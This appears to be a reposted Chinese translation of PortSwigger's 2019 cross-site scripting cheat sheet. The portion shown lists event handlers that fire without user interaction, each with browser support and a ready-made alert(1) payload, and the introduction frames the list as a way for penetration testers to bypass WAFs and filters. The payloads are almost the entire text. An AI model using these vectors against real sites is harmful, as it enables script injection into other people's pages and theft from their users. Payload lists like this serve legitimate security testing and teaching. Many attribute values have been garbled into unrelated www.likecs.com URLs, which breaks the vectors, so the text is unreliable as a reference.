跨站脚本(XSS)备忘单-2019版

这是一份跨站脚本(XSS)备忘录,收集了大量的XSS攻击向量,包含了各种事件处理、通讯协议、特殊属性、限制字符、编码方式、沙箱逃逸等技巧,可以帮助渗透测试人员绕过WAF和过滤机制。

译者注:原文由Portswigger公司的Web安全学院于2019年定期更新,对的,就是那家开发著名渗透工具Burp suite的公司,最后更新时间:2019年11月8日星期五10:58:07。

事件处理

不需要用户交互的事件处理程序

激活元素时触发(IE)

<a id=x tabindex=http://www.likecs.com/1 onactivate=alert(1)></a>

页面打印后触发(Chrome、Firefox、IE)

<body onafterprint=alert(1)>

CSS动画取消时触发(Firefox)

<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><a id=x onanimationcancel="alert(1)"></a>

CSS动画结束时触发(Chrome、Firefox、IE、Safari)

<style>@keyframes x{}</style><a onanimationend="alert(1)"></a>

重复CSS动画时触发(Chrome、Firefox、IE、Safari)

<style>@keyframes slidein {}</style><a onanimationiteration="alert(1)"></a>

CSS动画开始时触发(Chrome、Firefox、IE、Safari)

<style>@keyframes x{}</style><a onanimationstart="alert(1)"></a>

在激活元素之前触发(IE)

<a id=x tabindex=http://www.likecs.com/1 onbeforeactivate=alert(1)></a>

在停用元素之前触发(IE)

<a id=x tabindex=http://www.likecs.com/1 onbeforedeactivate=alert(1)></a><input autofocus>

在页面打印前触发(Chrome、Firefox、IE)

<body onbeforeprint=alert(1)>

网址更改后触发(Chrome)

<svg><animate onbegin=alert(1) attributeName=x dur=http://www.likecs.com/1s>

svg动画开始时触发(Chrome、Firefox、Safari)

<svg><animate onbegin=alert(1) attributeName=x dur=http://www.likecs.com/1s>

当元素失去焦点时触发(Chrome、IE、Safari)

<a onblur=alert(1) tabindex=http://www.likecs.com/1 id=x></a><input autofocus>

选框弹跳时触发(Firefox、IE)

<marquee width=http://www.likecs.com/1 loop=http://www.likecs.com/1 onbounce=alert(1)>XSS</marquee>

如果资源可以播放则触发(Chrome、Firefox、IE、Safari)

<audio oncanplay=alert(1)><source src="http://www.likecs.com/validaudio.wav" type="audio/wav"></audio>

加载足够的数据以完全播放资源时触发(Chrome、Firefox、IE、Safari)

<video oncanplaythrough=alert(1)><source src="http://www.likecs.com/validvideo.mp4" type="video/mp4"></video>

停用元素时触发(IE)

<a id=x tabindex=http://www.likecs.com/1 ondeactivate=alert(1)></a><input id=y autofocus>

资源播放完毕时触发(Chrome、Firefox、IE、Safari)

<audio controls autoplay onended=alert(1)><source src="http://www.likecs.com/validaudio.wav" type="audio/wav"></audio>

资源加载失败或导致错误时触发(Chrome、Firefox、IE、Safari)

<audio src/onerror=alert(1)>

选框完成时触发(Firefox、IE)

<marquee width=http://www.likecs.com/1 loop=http://www.likecs.com/1 onfinish=alert(1)>XSS</marquee>

当元素具有焦点时触发(Chrome、IE、Safari)

<a id=x tabindex=http://www.likecs.com/1 onfocus=alert(1)></a>

当元素具有焦点时触发(Chrome、IE、Safari)

<a id=x tabindex=http://www.likecs.com/1 onfocusin=alert(1)></a>

当元素失去焦点时触发(Chrome、IE、Safari)

<a onfocusout=alert(1) tabindex=http://www.likecs.com/1 id=x></a><input autofocus>

如果哈希值更改,则触发(Chrome、Firefox、IE、Safari)

<body onhashchange=http://www.likecs.com/"alert(1)">

加载元素时触发(Safari)

<svg><a onload=alert(1)></a>

加载第一帧时触发(Chrome、Firefox、IE、Safari)

<audio onloadeddata=alert(1)><source src="http://www.likecs.com/validaudio.wav" type="audio/wav"></audio>

加载元数据时触发(Chrome、Firefox、IE、Safari)

<audio autoplay onloadedmetadata=alert(1)> <source src="http://www.likecs.com/validaudio.wav" type="audio/wav"></audio>

当元素完成加载时触发(Firefox)

<image src=http://www.likecs.com/validimage.png onloadend=alert(1)>

当元素开始加载时触发(Firefox)

<image src=http://www.likecs.com/validimage.png onloadstart=alert(1)>

当从postMessage调用接收到消息事件时触发(Chrome、Firefox、IE、Safari)

<body onmessage=alert(1)>

显示页面时触发(Chrome、Firefox、IE、Safari)

<body onpageshow=alert(1)>

播放资源时触发(Chrome、Firefox、IE、Safari)

<audio autoplay onplay=alert(1)><source src="http://www.likecs.com/validaudio.wav" type="audio/wav"></audio>

触发资源正在播放(Chrome、Firefox、IE、Safari)

<audio autoplay onplaying=alert(1)><source src="http://www.likecs.com/validaudio.wav" type="audio/wav"></audio>

历史记录更改时触发(Chrome、Firefox、IE、Safari)

<body onpopstate=alert(1)>

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/zyfysd.html